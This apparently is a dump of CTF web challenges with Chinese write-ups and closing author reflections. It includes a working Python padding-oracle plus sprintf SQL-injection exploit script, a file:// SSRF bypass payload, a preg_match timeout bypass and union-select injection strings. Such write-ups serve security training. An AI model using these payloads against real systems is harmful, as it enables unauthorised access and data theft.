('1','admin','21232f297a57a5a743894a0e4a801fc3'); /*!40000 ALTER TABLE `users` ENABLE KEYS */; UNLOCK TABLES; /*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */; /*!40101 SET SQL_MODE=@OLD_SQL_MODE */; /*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */; /*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; /*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */; -- Dump completed on 2017-10-28 17:06:32 ================================================ FILE: src/web/simple-blog/web-f1sh-writeup.md ================================================ ### WriteUp 进入题目后可以知道这是一个博客系统,那猜测应该会有后台,扫一下目录或者猜一下可以知道存在`login.php, admin.php`两个文件,访问`admin.php`可以发现有权限控制,访问`login.php`是一个登录界面。 通过尝试可以发现如果随便输入账号密码的话页面返回是`Login failed.`,但是账号密码都输入`admin`的话会跳转到`admin.php`,猜测这里应该是弱口令,只是除了密码以外还有其他的验证方式。 如果扫描字典够强大的话可以扫到`login.php, admin.php`都存在备份文件:`.login.php.swp, .admin.php.swp` 下载备份文件`.login.php.swp`得到源码,源码关键的部分: ``` function get_identity(){ global $id; $token = get_random_token(); $c = openssl_encrypt($id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token); $_SESSION['id'] = base64_encode($c); setcookie("token", base64_encode($token)); if($id==='admin'){ $_SESSION['isadmin'] = 1; }else{ $_SESSION['isadmin'] = 0; } } function test_identity(){ if (isset($_SESSION['id'])) { $c = base64_decode($_SESSION['id']); $token = base64_decode($_COOKIE["token"]); if($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)){ if ($u === 'admin') { $_SESSION['isadmin'] = 1; return 1; } }else{ die("Error!"); } } return 0; } ``` 可以看到在session中也做了身份验证,但是由于加密模式是`aes-128-cbc`,且`$token`在cookie里,可控,所以这里可以进行**Pading Oracle Attack**,通过修改`$token`可以把`$_SESSION['isadmin']`改为1(如果不清楚**Pading Oracle Attack**的原理的话可以看一下我写过的一篇[博客](http://f1sh.site/2017/08/04/%E5%88%9D%E5%AD%A6padding-oracle-attack/)),这样就成功登录进了`admin.php`。 通过下载`.admin.php.swp`可以得到`admin.php`的源码,发现里面存在数据库操作 ``` if(isset($_GET['id'])){ $id = mysql_real_escape_string($_GET['id']); if(isset($_GET['title'])){ $title = mysql_real_escape_string($_GET['title']); $title = sprintf("AND title='%s'", $title); }else{ $title = ''; } $sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id); $result = mysql_query($sql,$con); $row = mysql_fetch_array($result); if(isset($row['title'])&&isset($row['content'])){ echo "

".$row['title']."


".$row['content']; die(); }else{ die("This article does not exist."); } ``` 乍看之下似乎有`mysql_real_escape_string()`所以无法进行注入,但实际上这里可以利用PHP格式化字符串的漏洞。 在PHP的`sprintf`这个函数中`%\`会被当成一个格式化字符串,如图 ![](https://i.imgur.com/cSXxM1a.jpg) 可以看到`%\`和`%y`一样被当做了一个不存在的类型的格式化字符串,所以输出为空 所以利用这个原理,我们可以传入`title=%' or 1#`,此时因为`mysql_real_escape_string()`的存在单引号前会被加上一个`\`,那么最后拼接到语句里就是 ``` sprintf("SELECT * FROM article WHERE id='%s' AND title='%\' or 1#'", $id); ``` 这样`%`就会吃掉后面的`\`组成一个格式化字符串,单引号就成功逃逸了出来。 但是只是这样的话还是会报错参数不足,因为这条代码里有两个格式化字符串但是只有一个参数。不过PHP的格式化字符串还有另一种表示方法`%1$s`,其中`%`后面的数字就表示引用第几个参数,`$`后面是格式化字符串的类型,如图 ![](https://i.imgur.com/zIM5IBA.jpg) 所以我们传入`title=%1$' or 1#`,经过转义最后拼接到语句里就是 ``` sprintf("SELECT * FROM article WHERE id='%s' AND title='%1$\' or 1#'", $id); ``` 这样title那里引用的也是第一个参数`$id`,就不会报参数不足的错了 具体的原理可以看[这篇文章](https://paper.seebug.org/386/) 所以最终SQL注入的payload就是:`?id=0&title=%251%24'%20union%20select%201%2C2%2C3%23` 整个题目可由一个脚本跑出最终flag: ``` #-*- coding:utf-8 -*- import requests import base64 url = 'http://111.231.111.54/login.php' N = 16 def inject_token(token): cookie = {"token": token} result = s.get(url, cookies = cookie) return result def xor(a, b): return "".join([chr(ord(a[i]) ^ ord(b[i%len(b)])) for i in xrange(len(a))]) def pad(string, N): l = len(string) if l != N: return string + chr(N-l) * (N-l) def padding_oracle(N): get = "" for i in xrange(1, N): for j in xrange(0, 256): padding = xor(get, chr(i) * (i - 1)) c=chr(0) * (16 - i) + chr(j) + padding print c.encode('hex') result = inject_token(base64.b64encode(c)) if "" in result.content: print result.content get = chr(j^i) + get break return get data={'username': "admin", 'password': 'admin'} while 1: s = requests.session() cookies = s.post(url, data = data, allow_redirects = False).headers['Set-Cookie'].split(',') #获得session和token session = cookies[0].split(";")[0][10:] token = cookies[1][6:].replace("%3D",'=').replace("%2F",'/').replace("%2B",'+').decode('base64') middle1 = padding_oracle(N) print "\n" if(len(middle1) + 1 == 16): for i in xrange(0, 256): middle = chr(i) + middle1 #padding_oracle只能得到15位,爆破第一位 print "session: " + session print "token: " + token print "middle: " + base64.b64encode(middle) plaintext = xor(middle, token); print "plaintext: " + plaintext des = pad('admin', N) tmp = "" print "padtext: " + base64.b64encode(des) for i in xrange(16): tmp += chr(ord(token[i]) ^ ord(plaintext[i]) ^ ord(des[i])) print "inject_token: " + base64.b64encode(tmp) result = inject_token(base64.b64encode(tmp)) if "css/login.css" not in result.content: #payload = "%1$' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#" #注表名 #payload = "%1$' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x4b4559#" #注列名 payload = "%1$' union select 1,2,f14g from `key`#" #注字段 params = {'id': '0', 'title': payload} r = s.get("http://111.231.111.54/admin.php", params = params) print r.content print "success" exit() ``` 注入时也有一个小坑,`key`这个表名是MYSQL保留字,我们把它当做表名带入查询时必须用反引号包起来,不然就会报语法错误而返回不了我们想要的结果。 ================================================ FILE: src/web/wanna-hack-him/src/admin_view.php ================================================

comment here

welcome to comment on admin's blog

================================================ FILE: src/web/wanna-hack-him/src/index.php ================================================
hello hacker hack him

wanna hack him? Leave your message here!

================================================ FILE: src/web/wanna-hack-him/src/loghehehaha.txt ================================================ test ================================================ FILE: src/web/wanna-hack-him/src/preview.php ================================================

comment here

welcome to comment on admin's blog

================================================ FILE: src/web/wanna-hack-him/src/submit.php ================================================ ================================================ FILE: src/web/wanna-hack-him/wanna hack him-WP.md ================================================ ## wanna hack him? 这题有两种解法。 ### 解法一 利用`dangling markup attack`。传入一个未闭合的标签,来把后面内容通过请求直接发出去,因为bot的版本是Chrome60所以可以直接用一个比较常见的payload ``` look source code:
EOF; die(); } $url = $_GET['site']; $url_schema = parse_url($url); $host = $url_schema['host']; $request_url = $url."/"; if ($host !== 'www.baidu.com'){ die("wrong site"); } $ci = curl_init(); curl_setopt($ci, CURLOPT_URL, $request_url); curl_setopt($ci, CURLOPT_RETURNTRANSFER, 1); $res = curl_exec($ci); curl_close($ci); if($res){ echo "

Source Code:

"; echo $request_url; echo "
"; echo htmlentities($res); }else{ echo "get source failed"; } ?> ================================================ FILE: src/web/签到题/web签到题.md ================================================ # web签到题 题目不难, 一共就只有几个点 - 用file协议读取本地文件 - 绕过逻辑中对host的检查, curl是支持file://host/path, file://path这两种形式, 但是即使有host, curl仍然会访问到本地的文件 - 截断url后面拼接的/, GET请求, 用?#都可以 payload其实很简单: `file://www.baidu.com/etc/flag?` ```php look source code:
EOF; die(); } $url = $_GET['site']; $url_schema = parse_url($url); $host = $url_schema['host']; $request_url = $url."/"; if ($host !== 'www.baidu.com'){ die("wrong site"); } $ci = curl_init(); curl_setopt($ci, CURLOPT_URL, $request_url); curl_setopt($ci, CURLOPT_RETURNTRANSFER, 1); $res = curl_exec($ci); curl_close($ci); if($res){ echo "

Source Code:

"; echo $request_url; echo "
"; echo htmlentities($res); }else{ echo "get source failed"; } ?> ``` ================================================ FILE: src/web/萌萌哒的报名系统/.idea/modules.xml ================================================ ================================================ FILE: src/web/萌萌哒的报名系统/.idea/test.iml ================================================ ================================================ FILE: src/web/萌萌哒的报名系统/.idea/workspace.xml ================================================ true DEFINITION_ORDER 1510845253596 ================================================ FILE: src/web/萌萌哒的报名系统/README.md ================================================ #wp 这题提示给了IDE,那么我们可以想到PHP有款强大的IDE叫做PHPSTORM,他新建项目的时候会生成一个.idea文件夹,访问发现有一个`workspace.xml`文件,访问里面发现了一个`xdcms2333.zip`。 下载可得到整站源码 `register.php` ```php 16 || strlen($username) > 16) { die('Invalid input'); } $sth = $pdo->prepare('SELECT username FROM users WHERE username = :username'); $sth->execute([':username' => $username]); if ($sth->fetch() !== false) { die('username has been registered'); } $sth = $pdo->prepare('INSERT INTO users (username, password) VALUES (:username, :password)'); $sth->execute([':username' => $username, ':password' => $password]); preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches); if (count($matches) === 3 && $admin === $matches[0]) { $sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, :identity)'); $sth->execute([':username' => $username, ':identity' => $matches[1]]); } else { $sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, "GUEST")'); $sth->execute([':username' => $username]); } echo ''; ``` `login.php` ```php 32 || strlen($password) > 32) { die('Invalid input'); } $sth = $pdo->prepare('SELECT password FROM users WHERE username = :username'); $sth->execute([':username' => $username]); if ($sth->fetch()[0] !== $password) { die('wrong password'); } $_SESSION['username'] = $username; unset($_SESSION['is_logined']); unset($_SESSION['is_guest']); #echo $username; header("Location: member.php"); ?> ``` `member.php` ```php prepare('SELECT identity FROM identities WHERE username = :username'); $sth->execute([':username' => $_SESSION['username']]); if ($sth->fetch()[0] === 'GUEST') { $_SESSION['is_guest'] = true; } $_SESSION['is_logined'] = true; if (isset($_SESSION['is_logined']) === false || isset($_SESSION['is_guest']) === true) { }else{ if(isset($_GET['file'])===false) echo "None"; elseif(is_file($_GET['file'])) echo "you cannot give me a file"; else readfile($_GET['file']); } ?> ``` 这里我们首先看`register.php`,这里我弄一个坑,就是 ``` $admin = $admin = "xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag'); ``` 然后下面 ``` preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches); ``` 如果匹配了`$matches[0]=$admin`就可以把xdsec注册到identities表中,可样我们就可以绕过第一层,`member.php`中的 ``` if ($sth->fetch()[0] === 'GUEST') { $_SESSION['is_guest'] = true; } ``` 但是str_shuffle是不可预测的,不知道有没有人在这里被我坑到XD.但是真正的思路不在这里。 下面说说我在后台审计中看到了很多人用的非预期解--条件竞争。 因为身份验证是用`if ($sth->fetch()[0] === 'GUEST')`那么如果在identities表中没有`username`这一行数据,那么取出来`$sth->fetch()[0]`结果就是null,还是可以绕过第一层,所以可以用python多线程注册用户,在 ``` $sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, :identity)'); ``` 语句执行之前登陆上去就可以绕过第一层。 其实正解是通过pre_match函数的资源消耗来绕过,因为pre_match在匹配的时候会消耗较大的资源,并且默认存在贪婪匹配,所以通过喂一个超长的字符串去给pre_match吃,导致pre_match消耗大量资源从而导致php超时,后面的php语句就不会执行。 payload: ``` code=xdsec###AAAAAAAAAAAAAAAAAAA(超多个A) ``` 然后再登陆既可以绕过第一层。 第二层则比较简单,利用一个phpbug。给出个实例 ``` boolean true boolean false ``` 利用伪协议就可以绕过php的is_file,然后读取本目录下的config.php即可得到flag ``` LCTF{pr3_maTch_1s_A_amaz1ng_Function} ``` ================================================ FILE: src/web/萌萌哒的报名系统/config.php ================================================ ================================================ FILE: src/web/萌萌哒的报名系统/css/login2.css ================================================ html { } body { font-family:"Microsoft Yahei"; font-size:12px; margin:0; background: #fff url(../images/1.jpg) 50% 0 no-repeat;} ul { padding:0; margin:0; } ul li { list-style-type:none; } a { text-decoration:none; } a:hover { text-decoration:none;color:#f00; } .cl{ clear: both;} input[type="text"]:focus, input[type="password"]:focus { outline:none; } input::-ms-clear { display:none; } .login { margin:0 auto; width:370px; border:2px solid #eee; border-bottom:none; position:relative; } .header { height:50px; border-bottom:1px solid #e2e2e2; position:relative; font-family:"Microsoft Yahei"; } .header .switch { height:45px; position:absolute; left:60px; bottom:0; font-size:16px; } .header .switch #switch_qlogin { margin-right:85px; } .header .switch .switch_btn { color:#999; display:inline-block; height:45px; line-height:45px; outline:none; *hide-focus:expression(this.hideFocus=true); } .header .switch .switch_btn_focus { color:#333; display:inline-block; height:45px; line-height:45px; outline:none; *hide-focus:expression(this.hideFocus=true); } .header .switch .switch_btn:hover { color:#333; text-decoration:none; } .header .switch .switch_btn_focus:hover { text-decoration:none; } #switch_bottom { position:absolute; bottom:-1px;_bottom:-2px; border-bottom:2px solid #848484; } .web_login { width:370px; position:relative; } #web_login{_left:60px;*left:0;} .web_login .login_form { width:272px; margin:0 auto; } .web_login .reg_form { width:300px; margin:0 auto; } .web_login .input-tips { float:left; margin-top:10px; width:50px; height:42px; font-size:16px; line-height:42px; font-family:"Hiragino Sans GB", "Microsoft Yahei"; } .web_login .input-tips2 { float:left; text-align:right; padding-right:10px; width:75px; height:30px; font-size:16px; margin-top:10px; clear:both; line-height:30px; font-family:"Hiragino Sans GB", "Microsoft Yahei"; } .web_login .inputOuter { width:200px; height:42px; margin-top:10px; float:left; } .web_login .inputOuter2 { width:200px; margin-top:6px;margin-top:5px\9; float:left; } .web_login .inputstyle { width:200px; height:38px; padding-left:5px; line-height:30px;line-height:38px; border:1px solid #D7D7D7; background:#fff; color:#333;border-radius:2px; font-family:Verdana, Tahoma, Arial; font-size:16px; ime-mode:disabled; } .web_login input.inputstyle2:focus,.web_login input.inputstyle:focus{border:1px solid #198BD4;box-shadow:0 0 2px #198BD4;} .web_login .inputstyle2 { width:200px; height:34px; padding-left:5px; line-height:34px; border:1px solid #D7D7D7; background:#fff; color:#333;border-radius:2px; font-family:Verdana, Tahoma, Arial; font-size:16px; ime-mode:disabled; } .web_login .uinArea { height:55px; position:relative; z-index:10; } .web_login .pwdArea { height:55px; margin-bottom:10px; position:relative; z-index:3; } .web_qr_login { position:relative; overflow:hidden; } .cue { height:40px; line-height:40px; font-size:14px; border:1px #CCCCCC solid; margin-top:10px;margin-bottom:5px; text-align:center; font-family:"Hiragino Sans GB", "Microsoft Yahei"; } .login { background-color:#ffffff; } h1{margin:80px auto 50px auto;text-align:center;color:#fff;margin-left:-25px;font-size:35px;font-weight: bold;text-shadow: 0px 1px 1px #555;} h1 sup{ font-size: 18px; font-style: normal; position: absolute; margin-left: 10px;} .login {border:0;padding:5px 0; background: #fff; margin: 0 auto; -webkit-box-shadow: 1px 1px 2px 0 rgba(0, 0, 0, .3); box-shadow: 1px 1px 2px 0 rgba(0, 0, 0, .3);} .web_login{padding-bottom:20px;} .jianyi{color:#fff;text-align:center;margin-top:25px;color:#B3B8C4;} .reg_form li { height: 55px; } .cue { margin-top: 15px; margin-bottom: 10px;border:1px solid #eee;border-radius:3px; } .web_login input.inputstyle2:focus, .web_login input.inputstyle:focus { border: 1px solid #5796f; box-shadow: 0 0 0; } .web_login .reg_form { width: 300px; margin: 0 auto; } .web_login .inputstyle2 {border-radius:2px;width:210px;} .web_login .input-tips2 { padding-right: 5px; width: 80px;_width: 75px;_font-size:12px;} .button_blue { display:inline-block; float:left; height:41px;border-radius:4px; background:#2795dc;border:none;cursor:pointer; border-bottom:3px solid #0078b3;*border-bottom:none; color:#fff; font-size:16px;padding:0 10px;*width:140px; text-align:center;outline:none;font-family: "Microsoft Yahei",Arial, Helvetica, sans-serif; } input.button_blue:hover { background:#0081c1; border-bottom:3px solid #006698;*border-bottom:none; color:#fff; text-decoration:none; } a.zcxy {text-decoration: underline;line-height:58px;margin-left:15px;color: #959ca8;} .web_login .login_form {margin-top:30px;} .web_login .uinArea { height: 60px;} .header .switch{left:70px;} ================================================ FILE: src/web/萌萌哒的报名系统/images/login.js ================================================ $(function(){ $('#switch_qlogin').click(function(){ $('#switch_login').removeClass("switch_btn_focus").addClass('switch_btn'); $('#switch_qlogin').removeClass("switch_btn").addClass('switch_btn_focus'); $('#switch_bottom').animate({left:'0px',width:'70px'}); $('#qlogin').css('display','none'); $('#web_qr_login').css('display','block'); }); $('#switch_login').click(function(){ $('#switch_login').removeClass("switch_btn").addClass('switch_btn_focus'); $('#switch_qlogin').removeClass("switch_btn_focus").addClass('switch_btn'); $('#switch_bottom').animate({left:'154px',width:'70px'}); $('#qlogin').css('display','block'); $('#web_qr_login').css('display','none'); }); if(getParam("a")=='0') { $('#switch_login').trigger('click'); } }); function logintab(){ scrollTo(0); $('#switch_qlogin').removeClass("switch_btn_focus").addClass('switch_btn'); $('#switch_login').removeClass("switch_btn").addClass('switch_btn_focus'); $('#switch_bottom').animate({left:'154px',width:'96px'}); $('#qlogin').css('display','none'); $('#web_qr_login').css('display','block'); } //根据参数名获得该参数 pname等于想要的参数名 function getParam(pname) { var params = location.search.substr(1); // 获取参数 平且去掉? var ArrParam = params.split('&'); if (ArrParam.length == 1) { //只有一个参数的情况 return params.split('=')[1]; } else { //多个参数参数的情况 for (var i = 0; i < ArrParam.length; i++) { if (ArrParam[i].split('=')[0] == pname) { return ArrParam[i].split('=')[1]; } } } } var reMethod = "GET", pwdmin = 6; $(document).ready(function() { $('#reg').click(function() { if ($('#user').val() == "") { $('#user').focus().css({ border: "1px solid red", boxShadow: "0 0 2px red" }); $('#userCue').html("×用户名不能为空"); return false; } if ($('#user').val().length < 4 || $('#user').val().length > 16) { $('#user').focus().css({ border: "1px solid red", boxShadow: "0 0 2px red" }); $('#userCue').html("×用户名位4-16字符"); return false; } $.ajax({ type: reMethod, url: "/member/ajaxyz.php", data: "uid=" + $("#user").val() + '&temp=' + new Date(), dataType: 'html', success: function(result) { if (result.length > 2) { $('#user').focus().css({ border: "1px solid red", boxShadow: "0 0 2px red" });$("#userCue").html(result); return false; } else { $('#user').css({ border: "1px solid #D7D7D7", boxShadow: "none" }); } } }); if ($('#passwd').val().length < pwdmin) { $('#passwd').focus(); $('#userCue').html("×密码不能小于" + pwdmin + "位"); return false; } if ($('#passwd2').val() != $('#passwd').val()) { $('#passwd2').focus(); $('#userCue').html("×两次密码不一致!"); return false; } var sqq = /^[1-9]{1}[0-9]{4,9}$/; if (!sqq.test($('#qq').val()) || $('#qq').val().length < 5 || $('#qq').val().length > 12) { $('#qq').focus().css({ border: "1px solid red", boxShadow: "0 0 2px red" }); $('#userCue').html("×QQ号码格式不正确");return false; } else { $('#qq').css({ border: "1px solid #D7D7D7", boxShadow: "none" }); } $('#regUser').submit(); }); }); ================================================ FILE: src/web/萌萌哒的报名系统/index.html ================================================ XDCMS登陆系统

后台登录V2017@XDSEC

================================================ FILE: src/web/萌萌哒的报名系统/login.php ================================================ 32 || strlen($password) > 32) { die('Invalid input'); } $sth = $pdo->prepare('SELECT password FROM users WHERE username = :username'); $sth->execute([':username' => $username]); if ($sth->fetch()[0] !== $password) { die('wrong password'); } $_SESSION['username'] = $username; unset($_SESSION['is_logined']); unset($_SESSION['is_guest']); #echo $username; header("Location: member.php"); ?> ================================================ FILE: src/web/萌萌哒的报名系统/member.php ================================================ prepare('SELECT identity FROM identities WHERE username = :username'); $sth->execute([':username' => $_SESSION['username']]); if ($sth->fetch()[0] === 'GUEST') { $_SESSION['is_guest'] = true; } $_SESSION['is_logined'] = true; if (isset($_SESSION['is_logined']) === false || isset($_SESSION['is_guest']) === true) { }else{ if(isset($_GET['file'])===false) echo "None"; elseif(is_file($_GET['file'])) echo "you cannot give me a file"; else readfile($_GET['file']); } ?>

你好啊,但是你好像不是XDSEC的人,所以我就不给你flag啦~~

================================================ FILE: src/web/萌萌哒的报名系统/register.php ================================================ 16 || strlen($username) > 16) { die('Invalid input'); } $sth = $pdo->prepare('SELECT username FROM users WHERE username = :username'); $sth->execute([':username' => $username]); if ($sth->fetch() !== false) { die('username has been registered'); } $sth = $pdo->prepare('INSERT INTO users (username, password) VALUES (:username, :password)'); $sth->execute([':username' => $username, ':password' => $password]); preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches); if (count($matches) === 3 && $admin === $matches[0]) { $sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, :identity)'); $sth->execute([':username' => $username, ':identity' => $matches[1]]); } else { $sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, "GUEST")'); $sth->execute([':username' => $username]); } echo ''; ================================================ FILE: 出题人感言.md ================================================ # 出题人感言 ## RE出题人 - Silver 又一年LCTF结束了,不知道大家是否开心。连续出了三年逆向题,每年都犯小错误,某种意义上也算是不容易了。 今年的三道题,一道(Driver)是早有预谋但码力不足,只好将题目的核心逻辑拆分出来单独出题,把CUDA运算放到另一题(Driver)中单独出题(结果还出了错,唉)。而第三道则完全是看新一季《Mr Robot》时候的一个新思路,不值一提。此外和往年不同的是,今年出题没有在防护上做太多操作——只有聊胜于无的strip。主要的重点,都放在对算法的逆向上。这和我这段时间的经历有一些关系,但也是希望能尝试一下,逆向工程这一技术如何能在传统的反病毒方向以外,从算法这一新的角度在CTF中出题。 我自己过去会陷入一个误区:难题就一定能是好题嘛?在传统领域(比如数学)是有很大可能的,一道建立在合理理论基础上的数学题如果很难,那么对适合这个分段的做题者来说,是很有可能是一道好题。CTF比赛的特点就在于,没有特别特别强的理论基础,更多的是对于实操技术的考量。在这一背景下,难题未必是好题。一个极端的例子是,服务器上跑着一个伪随机数发生器,需要选手去砸机房拿到种子获取flag。难度当然很高,但显然不是好题,因为这种题目只是为了难而难,没有什么闪光点,对选手实操能力的提高也并没有什么好处(当然,如果你主要就是砸机房的,当我没说)。 现在的我觉得,一道好题应该给做题者以思考和启发。一道好题为参赛队伍带来的不是1000分2000分,而是对一种旧技术在新场景下的应用机会探索契机,抑或是出题人和参赛选手共同完成的、对一种新技术的初步研究机会。出题人和选手绝不是对抗关系,而更像是伙伴关系,互相传递一些知识,共享进步,才使得CTF不会成为任何一方的独家舞台。如果一道题目连出题人自己都做不出来,那显然不能说是一道成功的题目。 题目是CTF竞赛的一部分,而CTF竞赛不只是为了获取分数而诞生的。当第一场Defcon 举办时,这场小型聚会的参会者们或许只是将这些对底层技术作为茶余饭后的谈资,将这些比赛看作是了解计算机技术领域的一扇窗口。或许没有人会想到二十五年后的今天,网络安全和CTF会变的的这样火爆,火爆到每个人都像是在滚烫的油锅中翻腾浮动,忍受着刻骨的疼痛,又想体验被油滴炸入天空的快感。 去年负责了LCTF的一些组织工作,赛前和赛中突生各种变故,看见了一些人,也知道了一些事。赛后暗自感叹,明年也不知道还能不能和大家一起玩。今年多亏给力的小伙伴们,有幸能和Pwnhub共同举办这次LCTF。 絮絮叨叨写了这么多,都够一篇博客了(笑)。总之还是希望各位能在CTF中找到一些快乐,能多多支持LCTF当然是再好不过的了。 能和大家一起玩,实在是很开心啊。